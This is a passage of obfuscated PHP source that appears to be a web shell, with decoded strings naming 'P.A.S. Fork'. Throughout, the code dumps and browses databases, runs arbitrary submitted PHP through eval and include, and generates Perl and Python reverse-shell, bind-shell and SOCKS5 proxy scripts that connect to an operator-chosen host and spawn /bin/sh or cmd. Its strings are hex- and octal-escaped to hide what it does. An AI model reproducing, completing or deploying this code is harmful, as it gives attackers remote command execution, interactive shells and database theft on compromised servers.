$v->fetch(PDO::FETCH_ASSOC))) { if ($f) { sqlOutInsert(pgsqlEscName($t), $c); } else { echo implode("\73", array_keys($v)), "\xa"; } $c = $this->_cnct; $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\xa"; } if ($f) { sqlOutValues($v, "\160\147\x73\x71\x6c\x45\x73\143\104\141\164\141"); } else { csvOutValues($v); } } while (($v = $c->query("\106\x45\124\103\110\40\x4e\105\130\124\40\106\x52\117\115\x20\143")) && ($v = $v->fetch(PDO::FETCH_NUM))); if ($f) { echo "\x3b\xa"; } } $this->_cnct->query("\103\x4c\117\x53\x45\40\x63\73\x20\x52\117\114\x4c\102\x41\x43\113"); } else { $i .= sprintf(E_SLCTDT, $b . "\56" . $s . "\x2e" . $t); } return $i; } function fetchSchema() { return $this->_res->fetchColumn(0); } } } function outData(&$S) { echo "\x2c\x22\146\x22\72\x5b"; if ($v = $S->fetchAssoc()) { $b = FALSE; foreach ($v as $k => $i) { if ($b) { echo "\x2c"; } else { $b = TRUE; } jsonEcho($k); } echo "\x5d\x2c\42\162\x22\72\x5b"; $b = FALSE; do { if ($b) { echo "\54"; } else { $b = TRUE; } echo "\x5b"; $k = FALSE; foreach ($v as $i) { if ($k) { echo "\54"; } else { $k = TRUE; } jsonEcho($i); } echo "\135"; } while ($v = $S->fetchRow()); } echo "\x5d"; } $S = $D["\x65"] . "\103\x6c\x69\x65\x6e\x74"; $S = new $S(); if (!$S->connect($D["\150"], $D["\165"], $D["\x70"], $D["\142"], $D["\x6c"])) { $S->connError($S->getError(), $D["\x68"], $D["\165"], $D["\x70"], $D["\142"]); } if (isset($D["\x64"])) { $Z = new PZIP(); $Z->init(); $a = array(); $m = packTime(time()); foreach ($D["\x64"] as $k => $v) { if (isset($D["\163"][$k])) { foreach ($D["\x73"][$k] as $i => $s) { if (isset($D["\x74"][$k . "\55" . $i])) { foreach ($D["\164"][$k . "\55" . $i] as $n => $t) { $a[$v][$s][$t] = isset($D["\146"][$k . "\x2d" . $i . "\x2d" . $n]) ? $D["\146"][$k . "\x2d" . $i . "\x2d" . $n] : FALSE; } } elseif ($S->getTables($v, $s)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$s][$t] = FALSE; } } } } elseif (isset($D["\164"][$k])) { foreach ($D["\x74"][$k] as $i => $s) { $a[$v][$s] = isset($D["\x66"][$k . "\x2d" . $i]) ? $D["\146"][$k . "\x2d" . $i] : FALSE; } } elseif ($S->haveSchemas) { $k = array(); if ($S->getSchemas($v)) { while (($i = $S->fetchSchema()) !== FALSE) { $k[] = $i; } } foreach ($k as $s) { if ($S->getTables($v, $s)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$s][$t] = FALSE; } } } } elseif ($S->getTables($v)) { while (($t = $S->fetchTable()) !== FALSE) { $a[$v][$t] = FALSE; } } } $e = array(); $o = $D["\157"] === "\60"; $x = $o ? "\56\163\x71\154" : "\x2e\143\163\x76"; if ($S->haveSchemas) { foreach ($a as $d => $v) { foreach ($v as $s => $k) { foreach ($k as $t => $c) { $f = escFileName($d . "\x2e" . $s . "\56" . $t) . $x; $Z->fileHeader($f, $m); if ($o) { printf(T_DMPHDR, gmdate("\x59\55\x6d\55\x64\x20\110\72\x69\72\163")); } if ($i = $S->dump($d, $s, $t, $c, $o)) { $e[] = $i; } if ($o) { printf(T_DMPFTR, gmdate("\131\x2d\x6d\x2d\x64\x20\x48\x3a\151\x3a\x73")); } $Z->fileFooter($f, $m); } } } } else { foreach ($a as $d => $v) { foreach ($v as $t => $c) { $f = escFileName($d . "\56" . $t) . $x; $Z->fileHeader($f, $m); if ($o) { printf(T_DMPHDR, gmdate("\x59\x2d\x6d\55\144\x20\110\x3a\x69\72\163")); } if ($i = $S->dump($d, $t, $c, $o)) { $e[] = $i; } if ($o) { printf(T_DMPFTR, gmdate("\x59\x2d\155\55\144\40\110\x3a\151\x3a\163")); } $Z->fileFooter($f, $m); } } } if ($e) { $n = "\105\122\122\x4f\x52\x53\56\164\x78\x74"; $t = packTime(time()); $Z->fileHeader($n, $t); foreach ($e as $v) { echo $v; } $Z->fileFooter($n, $t); } $Z->close(); } if (isset($D["\161"])) { if ($S->query($D["\x71"])) { echo "\173\x22\x71\x22\72"; jsonEcho($D["\161"]); outData($S); $S->close(); sDie("\175"); } echo "\173\42\145\x22\x3a"; jsonEcho($D["\161"] . "\12" . $S->getError()); sDie("\x7d"); } if (isset($D["\146"])) { $b = isset($D["\163"]); if ($b ? $S->select($D["\x62"], $D["\163"], $D["\x74"], $D["\146"], $D["\x6f"], $D["\x72"]) : $S->select($D["\142"], $D["\164"], $D["\146"], $D["\157"], $D["\x72"])) { echo "\173"; if ($S->canPaginate) { echo "\42\157\42\72", $D["\x6f"], "\x2c"; } echo "\x22\142\x22\72"; jsonEcho($D["\142"]); if ($b) { echo "\x2c\x22\163\x22\72"; jsonEcho($D["\163"]); } echo "\x2c\x22\164\x22\x3a"; jsonEcho($D["\164"]); outData($S); $S->close(); sDie("\175"); } echo "\x7b\x22\x65\x22\x3a"; jsonEcho("\103\141\x6e\x27\x74\40\154\157\141\144\x20\x64\141\164\141\40\x66\x72\x6f\x6d\x20\164\x61\142\x6c\x65\40" . $D["\142"] . "\56" . ($b ? $D["\x73"] . "\x2e" : '') . $D["\x74"] . "\x20\50" . $S->getError() . "\x29"); sDie("\x7d"); } if (isset($D["\x74"])) { $b = isset($D["\x73"]); if ($v = $b ? $S->getColumns($D["\x62"], $D["\163"], $D["\164"]) : $S->getColumns($D["\142"], $D["\164"])) { $S->close(); echo "\173\x22\142\x22\x3a"; jsonEcho($D["\142"]); if ($b) { echo "\x2c\42\163\42\72"; jsonEcho($D["\163"]); } echo "\54\42\x74\42\x3a"; jsonEcho($D["\x74"]); echo "\x2c\x22\146\x22\72\133"; $i = FALSE; $a = array(); foreach ($v as $k => $t) { if ($i) { echo "\x2c"; } else { $i = TRUE; } echo "\x5b"; jsonEcho($k); if (!isset($a[$t])) { $a[$t] = count($a); } echo "\x2c", $a[$t], "\x5d"; } echo "\135\54\x22\x79\42\72\133"; $i = FALSE; foreach ($a as $k => $v) { if ($i) { echo "\54"; } else { $i = TRUE; } jsonEcho($k); } sDie("\135\175"); } $S->close(); echo "\x7b\42\x65\x22\x3a"; jsonEcho("\103\x61\156\x27\x74\x20\154\151\x73\x74\40\x63\157\x6c\165\x6d\156\163\40\146\157\x72\40\164\141\142\x6c\x65\40" . $D["\x62"] . "\x2e" . ($b ? $D["\163"] . "\x2e" : '') . $D["\x74"]); sDie("\175"); } if (isset($D["\x62"])) { $b = isset($D["\163"]); if ($b || !$S->haveSchemas) { if ($b ? $S->getTables($D["\x62"], $D["\163"]) : $S->getTables($D["\x62"])) { echo "\173\42\142\x22\x3a"; jsonEcho($D["\142"]); if ($b) { echo "\54\42\163\x22\72"; jsonEcho($D["\x73"]); } echo "\54\x22\164\x22\x3a\133"; $i = FALSE; while (FALSE !== ($v = $S->fetchTable())) { if ($i) { echo "\x2c"; } else { $i = TRUE; } echo "\133"; jsonEcho($v); if (isset($D["\162"])) { echo "\54", $b ? $S->getTableSize($D["\142"], $D["\x73"], $v) : $S->getTableSize($D["\142"], $v); } echo "\135"; } $S->close(); sDie("\135\x7d"); } $S->close(); echo "\x7b\42\x65\x22\x3a"; jsonEcho("\103\141\156\47\x74\x20\154\151\x73\x74\40\164\x61\142\154\x65\x73\40\146\157\x72\40" . $D["\x62"] . ($b ? "\56" . $D["\163"] : '')); sDie("\x7d"); } if ($S->getSchemas($D["\142"])) { echo "\x7b\x22\x62\42\x3a"; jsonEcho($D["\x62"]); echo "\x2c\42\x73\x22\x3a\x5b"; $b = FALSE; while (FALSE !== ($v = $S->fetchSchema())) { if ($b) { echo "\54"; } else { $b = TRUE; } jsonEcho($v); } $S->close(); sDie("\135\x7d"); } $S->close(); echo "\x7b\x22\145\x22\x3a"; jsonEcho("\103\141\156\47\164\40\154\151\163\164\40\163\x63\150\145\x6d\x61\163\x20\x66\157\x72\x20\x64\141\x74\x61\142\x61\x73\x65\40" . $D["\142"]); sDie("\x7d"); } if ($S->getBases()) { echo "\x5b"; $b = FALSE; while (FALSE !== ($v = $S->fetchBase())) { if ($b) { echo "\x2c"; } else { $b = TRUE; } jsonEcho($v); } $S->close(); sDie("\x5d"); } $S->close(); sDie("\x7b\42\x65\42\x3a\x22\103\141\x6e\47\x74\x20\x6c\x69\x73\164\40\144\x61\x74\141\142\141\x73\x65\163\42\x7d"); break; case "\x70": function sdf() { if (defined("\120\124\106")) { delFile(PTF); } sDie("\3\x1e" . (defined("\120\x45\123") ? "\x6" : "\25") . "\x17\4\x10"); } register_shutdown_function("\163\x64\146"); echo "\x1\x2"; $D["\x65"] = "\144\x65\x66\151\156\x65\x28\x22\120\x45\123\42\54\x31\51\x3b" . $D["\x65"]; if (!isset($D["\150"])) { $D["\x65"] = "\x40\x65\162\x72\x6f\x72\137\x72\x65\160\x6f\x72\x74\x69\156\x67\50\105\x5f\101\114\x4c\51\x3b\x40\151\x6e\151\137\163\x65\164\x28\x22\x65\x72\162\x6f\x72\137\x72\x65\160\157\162\164\x69\x6e\147\x22\54\x45\x5f\101\x4c\114\51\73\100\151\156\151\137\163\x65\x74\50\42\144\151\163\160\154\x61\171\137\x65\162\x72\x6f\162\163\x22\x2c\124\x52\x55\105\51\x3b" . $D["\x65"]; } eval($D["\145"]); if (defined("\120\105\123")) { die; } if ($v = tempFile("\x3c\x3f\x70\x68\160\x20" . $D["\x65"])) { define("\120\124\106", $v); include $v; if (defined("\120\105\123")) { die; } include_once $v; if (defined("\x50\105\x53")) { die; } require $v; if (defined("\120\105\123")) { die; } require_once $v; if (defined("\120\105\x53")) { die; } if (PHP_VERSION >= "\x35" && PHP_VERSION <= "\x35\x2e\60\56\x34") { php_check_syntax($v); if (defined("\x50\105\123")) { die; } } } if (PHP_VERSION_ID < 80000 && ($v = @create_function("\46\44\141\162\x67\163", $D["\x65"]))) { $v($args); } if (defined("\x50\105\x53")) { die; } sDie(); break; case "\x74": function getCmdOpt($c, $n, $d) { if ($v = strpos($c, "\x20\55" . $n)) { return ltrim(substr($c, $v + 3, strcspn($c, "\x20", $v + 4) + 1)); } return $d; } echo "\1\x2"; $D["\x65"] = isset($D["\x65"]) ? trim($D["\x65"]) : ''; if (!isset($D["\163"])) { $D["\x73"] = ''; } $k = strtok($D["\x65"], "\40"); if (in_array($k, array("\142\141\143\x6b\143\157\156\x6e\x65\143\x74\x2e\160\x65\x72\x6c", "\142\151\x6e\x64\x70\157\x72\164\56\160\x65\x72\x6c", "\x73\x6f\143\x6b\163\65\x2e\160\145\x72\154"))) { $p = "\44\x30\x3d\x22" . getCmdOpt($D["\145"], "\156", "\133\153\x77\x6f\x72\x6b\x65\x72\x2f\64\72\x31\135") . "\134\60\42\73\165\163\145\x20\111\117\x3a\72\x53\x6f\143\153\145\164\x3b\x24\x53\x49\x47\173\x22\103\x48\x4c\x44\x22\175\75\x22\x49\107\116\117\x52\x45\42\73\x24\146\x3d\x22\x5b\x46\141\151\154\135\42\x3b\x24\x77\x3d\42\133\127\141\x72\x6e\x5d\42\x3b\x73\157\143\153\145\164\50\123\x2c\120\106\x5f\111\x4e\105\124\x2c\123\117\x43\x4b\x5f\x53\x54\x52\105\101\115\54\147\x65\164\160\x72\157\164\157\x62\x79\156\141\155\145\50\42\x74\143\160\42\51\51\x20\157\162\x20\x64\x69\x65\x22\x24\146\x20\103\162\x65\141\x74\x65\x20\x73\157\143\153\145\164\x3a\40\x24\41\42\x3b"; if ($k === "\142\141\x63\153\143\157\x6e\x6e\145\x63\x74\x2e\x70\x65\x72\x6c") { $p .= "\x24\141\x3d\x69\156\145\164\137\x61\x74\157\156\50\42" . strtok("\40") . "\42\x29\40\x6f\162\x20\x64\151\x65\x22\x24\x66\x20\103\157\x6e\x76\x65\x72\x74\x20\150\157\x73\164\x20\x61\144\144\162\x65\163\x73\x3a\40\x24\x21\x22\x3b\x24\163\x3d\x73\157\143\x6b\141\144\x64\x72\137\151\156\x28" . strtok("\x20") . "\x2c\44\x61\x29\x20\x6f\x72\40\144\151\145\42\x24\x66\x20\x50\141\x63\x6b\145\144\40\x61\144\144\162\x65\163\x73\72\x20\44\x21\42\x3b\143\x6f\156\156\x65\143\x74\50\123\x2c\44\163\x29\40\x6f\162\40\144\x69\145\42\x24\x66\40\103\157\x6e\x6e\145\143\164\x3a\40\x24\x21\x22\73\44\162\x3d\42\x53\42\x3b"; } else { $p .= "\x73\x65\164\163\157\x63\x6b\157\160\164\x28\123\x2c\123\x4f\x4c\137\123\x4f\103\113\105\124\54\x53\117\x5f\122\105\x55\123\x45\x41\x44\104\x52\54\61\51\x20\157\x72\x20\x70\x72\x69\156\x74\x22\44\x77\x20\x53\x65\164\x20\163\157\x63\153\x65\164\40\x6f\x70\164\x69\x6f\156\x73\72\x20\44\x21\x5c\x6e\42\73\44\163\75\163\x6f\x63\x6b\141\144\144\162\x5f\x69\x6e\x28" . strtok("\40") . "\x2c\x69\x6e\145\164\x5f\x61\164\x6f\x6e\50\42" . getCmdOpt($D["\145"], "\141", "\x30\56\x30\56\60\x2e\x30") . "\x22\x29\x29\x20\x6f\x72\x20\x64\x69\x65\42\44\x66\x20\120\x61\143\153\145\x64\40\141\144\x64\x72\x65\x73\163\72\40\44\41\x22\73\x62\151\x6e\x64\50\123\54\x24\163\51\x20\x6f\x72\x20\144\151\145\x22\44\x66\40\x42\151\x6e\x64\40\163\157\x63\153\x65\x74\72\40\x24\x21\x22\73"; } if ($k === "\x62\x69\156\144\x70\157\x72\164\56\160\x65\x72\154") { $p .= "\154\151\x73\164\145\156\x28\123\x2c\61\51\x20\157\x72\x20\x64\151\x65\x22\x24\146\x20\114\x69\163\x74\x65\x6e\40\x73\157\143\x6b\145\164\72\40\x24\x21\x22\x3b\x61\143\143\145\x70\164\50\103\x2c\x53\51\x20\157\x72\x20\144\151\x65\x22\44\x66\40\x41\x63\143\145\x70\164\40\143\x6f\x6e\x6e\x65\143\164\151\157\x6e\x3a\40\x24\41\x22\73\x24\162\75\x22\103\42\x3b"; } if ($k === "\x73\x6f\x63\x6b\163\x35\56\x70\145\x72\x6c") { $v = getCmdOpt($D["\x65"], "\163", ''); if ($v) { $v = explode("\72", $v); } $p .= "\x75\x73\145\x20\164\150\162\x65\141\144\163\x3b\x6c\151\163\164\x65\156\x28\123\54\x53\x4f\x4d\101\130\103\x4f\x4e\116\x29\40\157\162\x20\x64\x69\x65\42\44\146\x20\x4c\x69\x73\x74\x65\x6e\40\163\157\143\153\x65\x74\x3a\x20\44\x21\x22\x3b\x70\162\151\x6e\164\x22\133\x53\165\143\143\135\40\x53\x65\x72\x76\145\162\40\163\165\143\x63\145\163\x73\x66\x75\154\x6c\x79\40\154\x61\x75\156\143\x68\145\x64\x21\x5c\156\x22\x3b\x63\154\x6f\x73\145\50\123\124\104\x49\116\x29\73\x63\x6c\157\163\x65\50\123\124\104\x4f\125\124\51\x3b\143\x6c\x6f\163\145\x28\123\124\x44\105\x52\x52\51\x3b\x73\x75\x62\40\160\162\x63\163\163\x7b\44\x43\40\x3d\40\44\x5f\133\60\135\73\163\171\x73\x72\x65\x61\144\50\x24\x43\x2c\x24\142\54\61\x29\73\x69\146\x28\x24\x62\x20\156\x65\x20\42\134\170\60\65\x22\x29\173\163\x68\x75\164\x64\157\167\156\50\x24\103\54\x32\51\x3b\143\x6c\x6f\163\x65\50\x24\103\51\x3b\x72\145\164\165\x72\156\73\x7d\x73\171\x73\162\x65\x61\144\x28\44\103\x2c\44\142\54\x31\x29\x3b\163\x79\163\x72\145\x61\144\x28\x24\103\x2c\x24\x62\x2c\157\162\x64\50\44\x62\x29\x29\x3b\151\146\50\x69\156\x64\x65\170\x28\44\x62\54\42\134\x78\60" . ($v ? "\62" : "\60") . "\x22\51\75\x3d\55\x31\51\173\163\x79\x73\x77\162\x69\x74\145\x28\x24\103\x2c\42\134\170\60\65\x5c\x78\106\106\x22\x29\73\x73\150\165\x74\144\157\x77\156\50\44\103\54\60\x29\x3b\x63\x6c\157\x73\145\50\44\103\x29\x3b\x72\x65\x74\165\162\156\73\175\x73\x79\163\x77\x72\x69\164\145\x28\44\x43\x2c\42\134\x78\x30\65\x5c\170\60" . ($v ? "\x32" : "\x30") . "\42\51\73"; if ($v) { $p .= "\x73\171\x73\162\x65\141\144\x28\x24\x43\54\x24\142\x2c\x31\51\x3b\x73\x79\163\162\x65\x61\144\50\44\103\54\x24\x6c\x2c\61\51\x3b\163\x79\x73\x72\x65\141\144\x28\44\x43\x2c\44\165\54\157\x72\x64\x28\44\154\51\51\73\x73\x79\x73\x72\145\x61\x64\50\x24\x43\54\44\154\54\61\51\x3b\163\x79\163\162\x65\x61\144\50\44\103\54\44\160\x2c\x6f\x72\144\x28\44\x6c\x29\x29\x3b\x69\x66\x28\x28\x24\142\40\156\145\x20\42\x5c\170\x30\x31\x22\51\40\x7c\174\40\50\x24\x75\x20\156\145\x20\x22" . $v[0] . "\x22\x29\x20\174\174\x20\x28\x24\x70\x20\156\x65\40\42" . $v[1] . "\42\51\51\173\x73\x79\163\x77\162\151\x74\x65\x28\x24\x43\54\42\134\170\x30\x31\134\x78\x46\106\42\x29\x3b\x73\x68\165\x74\144\x6f\167\x6e\50\44\x43\x2c\x30\51\73\x63\154\x6f\x73\x65\50\x24\103\51\73\x72\x65\164\165\x72\156\73\x7d\x73\171\x73\x77\x72\151\164\145\x28\44\103\x2c\42\x5c\x78\60\x31\134\170\60\60\x22\x29\x3b"; } $p .= "\163\171\163\162\x65\x61\144\50\x24\x43\54\x24\142\x2c\x31\x29\x3b\x69\146\50\x24\142\40\x6e\145\x20\42\x5c\170\60\65\x22\x29\x7b\x73\x68\165\x74\144\x6f\167\x6e\50\44\103\x2c\62\51\x3b\143\x6c\x6f\163\145\50\x24\103\51\x3b\x72\x65\164\x75\x72\156\x3b\175\163\171\x73\162\x65\141\x64\50\44\103\x2c\x24\143\54\x31\51\73\163\x79\163\162\x65\141\144\50\44\x43\54\44\142\54\x31\51\x3b\x69\x66\x28\44\142\40\156\x65\x20\42\134\x78\x30\x30\x22\51\173\x73\x68\165\164\144\x6f\x77\x6e\x28\x24\x43\54\x32\x29\x3b\x63\x6c\157\x73\145\x28\44\x43\51\x3b\x72\x65\x74\x75\x72\x6e\73\175\163\x79\x73\x72\x65\x61\x64\x28\x24\103\54\x24\164\54\x31\51\73\x69\x66\x28\x24\x74\40\x65\161\x20\42\134\170\x30\61\42\x29\173\163\x79\x73\x72\x65\141\x64\50\44\x43\54\44\x61\54\x34\51\x3b\44\x64\x3d\44\141\x3b\x7d\x65\154\163\151\146\x28\x24\x74\40\145\x71\40\42\134\170\x30\63\42\51\x7b\163\171\163\162\x65\141\144\x28\x24\x43\x2c\44\x61\x2c\x31\51\x3b\x73\171\x73\162\145\x61\144\50\44\103\x2c\44\142\54\x75\156\160\x61\x63\153\50\42\x63\x22\54\x24\141\51\51\73\x24\141\56\x3d\44\142\73\44\x64\75\x69\x6e\145\164\x5f\141\x74\x6f\156\x28\44\142\x29\x3b\175\x65\x6c\x73\x69\146\x28\x24\164\x20\145\161\40\x22\x5c\170\60\x34\42\51\x7b\163\171\x73\162\x65\141\144\x28\44\x43\x2c\x24\x61\54\x31\66\51\73\x24\x64\x3d\44\141\73\175\145\154\x73\145\173\163\150\165\x74\x64\157\167\156\x28\x24\x43\x2c\x32\x29\73\143\x6c\x6f\x73\x65\x28\44\x43\x29\73\x72\x65\x74\x75\x72\156\x3b\175\163\x79\163\162\x65\x61\144\50\x24\x43\x2c\44\142\54\62\51\73\x24\x61\x2e\75\x24\142\73\x69\x66\50\44\143\x20\156\x65\x20\42\x5c\170\x30\61\x22\51\173\x73\x79\163\167\x72\151\164\x65\x28\x24\103\x2c\40\x22\x5c\170\60\65\x5c\170\60\67\134\170\60\60\42\56\x24\164\56\44\x61\51\73\x73\x68\165\x74\x64\157\x77\156\50\x24\x43\54\x30\51\73\x63\154\x6f\x73\x65\50\x24\103\51\73\x72\145\164\165\162\x6e\73\175\151\x66\50\41\163\157\143\x6b\145\164\x28\x44\x2c\x50\106\x5f\111\x4e\x45\124\x2c\123\x4f\103\x4b\x5f\x53\x54\122\105\101\x4d\x2c\x67\145\x74\160\x72\x6f\164\157\x62\x79\156\141\155\x65\x28\42\164\143\x70\x22\x29\51\x20\x6f\162\40\x21\x63\x6f\156\156\145\143\164\x28\104\54\163\157\x63\x6b\x61\x64\144\x72\x5f\x69\x6e\50\x75\x6e\x70\x61\143\153\50\42\156\42\54\44\x62\x29\54\44\144\x29\x29\51\x7b\x73\171\163\x77\162\151\x74\145\50\44\103\x2c\42\x5c\170\60\65\x5c\170\x30\65\134\170\60\x30\x22\56\x24\x74\56\x24\x61\x29\73\163\x68\165\164\144\x6f\x77\x6e\50\x24\103\54\60\x29\x3b\x63\x6c\157\x73\145\x28\x24\x43\x29\73\143\154\x6f\163\x65\x28\x44\x29\73\162\145\164\165\x72\156\x3b\x7d\x73\171\x73\x77\x72\151\x74\x65\x28\44\103\x2c\x22\134\170\60\65\x5c\170\x30\60\134\x78\60\60\42\56\44\164\x2e\44\141\51\73\44\155\x3d\42\x22\73\x24\146\x63\75\x66\151\x6c\145\x6e\x6f\50\44\103\x29\x3b\x24\x66\x64\x3d\146\151\154\145\x6e\x6f\50\x44\x29\73\x76\x65\x63\50\44\x6d\x2c\44\x66\x63\x2c\x31\51\75\x31\73\166\145\143\x28\44\x6d\54\44\146\144\54\61\51\x3d\61\x3b\x64\157\173\44\x63\75\44\155\x3b\x24\162\143\x3d\x2d\61\73\x24\162\144\x3d\55\61\x3b\151\146\x28\x73\145\154\145\143\x74\x28\x24\143\x2c\x75\x6e\x64\x65\x66\x2c\x75\156\x64\145\x66\x2c\61\x29\x29\x7b\151\x66\x28\x76\x65\x63\x28\44\143\x2c\44\x66\x63\x2c\61\51\x29\x7b\44\x72\143\x3d\163\x79\163\162\145\x61\x64\x28\44\103\54\44\142\x2c\61\x30\62\x34\60\51\x3b\151\x66\x28\44\162\143\51\x7b\x73\x79\163\x77\162\x69\164\x65\x28\x44\x2c\44\x62\51\73\175\x7d\x69\146\x28\x76\x65\x63\x28\44\x63\x2c\44\x66\x64\x2c\61\x29\x29\173\x24\162\x64\x3d\163\171\x73\x72\145\x61\x64\50\104\54\x24\x62\54\x31\x30\62\64\x30\x29\x3b\x69\x66\x28\x24\162\x64\x29\173\163\171\x73\x77\x72\x69\x74\145\x28\44\x43\54\44\x62\x29\x3b\175\175\x7d\175\x77\150\x69\x6c\145\50\x24\x72\143\41\75\60\x20\46\46\40\x24\x72\x64\41\75\x30\51\x3b\163\150\x75\x74\144\x6f\x77\156\x28\44\x43\54\62\51\x3b\x63\154\x6f\163\145\50\x24\103\x29\x3b\x73\x68\x75\164\x64\x6f\x77\x6e\50\x44\54\62\x29\x3b\x63\154\x6f\x73\145\50\x44\51\73\x7d\167\150\151\154\x65\x28\x61\x63\x63\145\160\164\x28\103\x2c\123\51\x29\x7b\164\150\x72\145\x61\x64\x73\x2d\76\143\x72\145\x61\x74\x65\50\x22\160\162\143\163\x73\x22\x2c\103\x29\73\175"; } else { $v = getCmdOpt($D["\145"], "\x73", NIX ? "\57\x62\151\156\x2f\x73\150\x20\x2d\x69" : "\143\x6d\144"); $p .= "\160\162\x69\x6e\x74\42\x5b\x4f\113\135\x20\x53\165\x63\143\x65\163\163\x66\165\154\40\143\x6f\x6e\x6e\145\x63\x74\x65\x64\41\134\x6e\x22\73\157\160\x65\156\x28\123\124\104\x4f\x55\x54\54\x22\x3e\46\x24\162\x22\51\x20\x6f\162\x20\144\151\x65\42\44\x66\40\x52\145\x64\151\162\x65\x63\x74\40\x53\124\104\117\125\x54\x3a\x20\x24\41\42\73\160\x72\151\x6e\164\40\42\134\x6e\x23\x20\x50\x2e\101\56\123\x2e\x20\x46\x6f\x72\x6b\40\166\56" . VER . "\40" . $k . "\134\156\x5c\156\x22\73\157\x70\x65\156\x28\123\124\x44\111\116\54\x20\42\x3c\46\x24\x72\x22\x29\x20\157\x72\x20\144\151\x65\42\44\x66\x20\x52\145\144\151\162\x65\x63\x74\40\x53\x54\104\111\x4e\72\x20\44\41\42\x3b\157\x70\145\x6e\50\123\x54\104\105\x52\122\x2c\42\x3e\x26\123\124\x44\x4f\x55\x54\42\51\40\x6f\162\x20\160\162\151\156\164\x22\44\167\40\122\x65\x64\151\162\x65\143\x74\x20\x53\x54\104\105\122\x52\x3a\x20\x24\41\x5c\156\42\73\x65\x78\x65\x63\50\x22" . $v . "\x22\51\x20\157\x72\40\x64\151\x65\42\x24\146\x20\122\x75\x6e\x20\x73\x68\x65\154\x6c\40\x28" . $v . "\51\x3a\x20\44\x21\42\x3b"; } $s = getCmdOpt($D["\x65"], "\151", NIX ? "\x2f\165\163\162\57\x62\x69\156\x2f\x70\145\x72\x6c" : "\160\x65\162\154\56\145\x78\x65"); if ($v = tempFile($p)) { exe($s . "\x20" . $v . "\40\46", $D["\146"], $D["\x73"]); delFile($v); } else { exe($s . "\x20\55\x65\x20\x27" . $p . "\x27\40\x26", $D["\x66"], $D["\163"]); } } elseif (in_array($k, array("\142\x61\x63\x6b\143\x6f\x6e\156\145\143\164\x2e\160\x79\164\150\157\156", "\142\x69\156\x64\160\157\162\x74\56\160\x79\x74\150\157\x6e", "\163\x6f\x63\x6b\163\x35\x2e\x70\171\164\150\157\x6e"))) { $p = "\x74\162\x79\72\12\x20\151\155\x70\x6f\162\x74\x20\163\171\163\54\163\x6f\143\153\x65\164"; if ($k === "\x73\157\143\x6b\x73\65\x2e\x70\171\x74\150\x6f\x6e") { $p .= "\x2c\163\x74\162\165\x63\164\54\164\150\162\x65\141\x64\151\156\147\x2c\163\145\154\145\143\x74"; } else { $p .= "\x2c\x6f\x73\x2c" . (getCmdOpt($D["\145"], "\x74", "\116") === "\116" ? "\163\165\x62\x70\162\157\143\x65\x73\163" : "\160\x74\171"); } $p .= "\73\12\x20\123\x20\x3d\40\x73\x6f\x63\153\x65\x74\x2e\x73\157\143\x6b\145\x74\50\x73\x6f\x63\x6b\145\x74\x2e\x41\x46\x5f\111\116\105\124\54\x73\157\143\x6b\x65\x74\56\123\117\x43\113\137\123\x54\122\x45\x41\115\51\x3b\xa"; if ($k === "\142\x61\143\x6b\x63\x6f\x6e\x6e\145\143\x74\56\x70\x79\x74\x68\157\x6e") { $p .= "\x20\x53\56\143\x6f\156\x6e\145\143\x74\50\x28\x22" . strtok("\x20") . "\x22\x2c" . strtok("\40") . "\x29\51\73\xa"; $s = "\123"; } else { $p .= "\40\123\x2e\163\145\164\x73\x6f\143\x6b\157\160\164\x28\163\157\x63\153\145\164\x2e\123\x4f\114\x5f\123\117\103\113\x45\x54\x2c\x20\163\157\143\153\x65\x74\56\x53\x4f\x5f\122\105\125\x53\105\101\x44\x44\122\54\40\x31\x29\x3b\12" . "\x20\x53\x2e\x62\x69\x6e\144\50\x28\x22" . getCmdOpt($D["\145"], "\x61", '') . "\42\x2c" . strtok("\x20") . "\x29\x29\73\xa\x20\x53\x2e\x6c\151\x73\x74\x65\x6e\50\65\x29\x3b\12"; } if ($k === "\142\151\156\x64\x70\157\x72\x74\x2e\x70\x79\164\150\157\156") { $p .= "\x20\50\x43\x2c\x41\x29\40\x3d\40\123\56\x61\143\x63\145\160\164\x28\51\x3b\xa"; $s = "\103"; } if ($k === "\163\157\x63\153\163\x35\56\160\x79\x74\x68\x6f\x6e") { $v = getCmdOpt($D["\x65"], "\x73", ''); if ($v) { $v = explode("\x3a", $v); } $p .= "\145\170\x63\145\160\x74\x20\x45\170\143\x65\160\164\x69\157\156\40\x61\x73\x20\x65\x3a\12\40\x70\162\151\156\164\x28\x65\51\73\12\145\154\163\145\72\12" . "\40\x70\162\151\156\x74\x28\42\x5b\x53\x75\x63\143\135\40\x53\x65\x72\x76\x65\162\x20\163\x75\143\143\145\x73\x73\x66\x75\154\x6c\171\40\x6c\x61\165\156\x63\x68\145\x64\x21\x22\x2b\143\150\162\50\x31\60\51\x29\x3b" . "\xa\x20\163\171\x73\x2e\x73\x74\x64\x69\156\x2e\x63\x6c\157\163\x65\50\51\73\xa\x20\x73\x79\163\x2e\x73\x74\144\x65\x72\x72\x2e\x63\x6c\157\x73\145\50\51\x3b\xa\40\163\171\163\56\163\x74\144\157\x75\164\56\x63\154\x6f\163\145\50\x29\73\xa\40\144\x65\146\40\x70\162\143\163\x73\50\103\51\x3a\12" . "\x20\x20\x69\x66\x20\103\x2e\162\145\x63\x76\50\x31\x29\41\75\x62\x22\x5c\x78\60\65\42\72" . "\xa\x20\40\40\103\x2e\163\x68\165\164\144\157\x77\x6e\50\x32\x29\x3b\xa\x20\x20\40\x43\56\x63\x6c\157\x73\x65\x28\51\x3b\xa\x20\40\40\x72\145\x74\165\x72\x6e\73\12" . "\x20\x20\151\x66\40\x62\x22\x5c\170\x30" . ($v ? "\62" : "\x30") . "\x22\x20\156\157\164\40\x69\x6e\40\103\x2e\162\145\x63\166\50\x73\x74\x72\x75\x63\x74\56\x75\x6e\x70\141\x63\x6b\50\x22\102\x22\54\40\103\x2e\162\145\143\166\x28\61\x29\x29\133\x30\135\x29\72" . "\12" . "\40\x20\x20\x43\x2e\x73\x65\156\x64\50\x62\x22\134\x78\60\65\134\170\x46\106\x22\51\73" . "\xa\40\x20\40\103\56\x73\x68\x75\x74\x64\157\x77\156\x28\x30\51\x3b\12\x20\40\x20\x43\56\x63\x6c\157\163\145\x28\x29\73\xa\40\40\40\162\x65\x74\x75\162\156\x3b\12" . "\x20\40\x43\56\x73\x65\x6e\144\x28\142\x22\x5c\170\x30\x35\134\x78\60" . ($v ? "\62" : "\x30") . 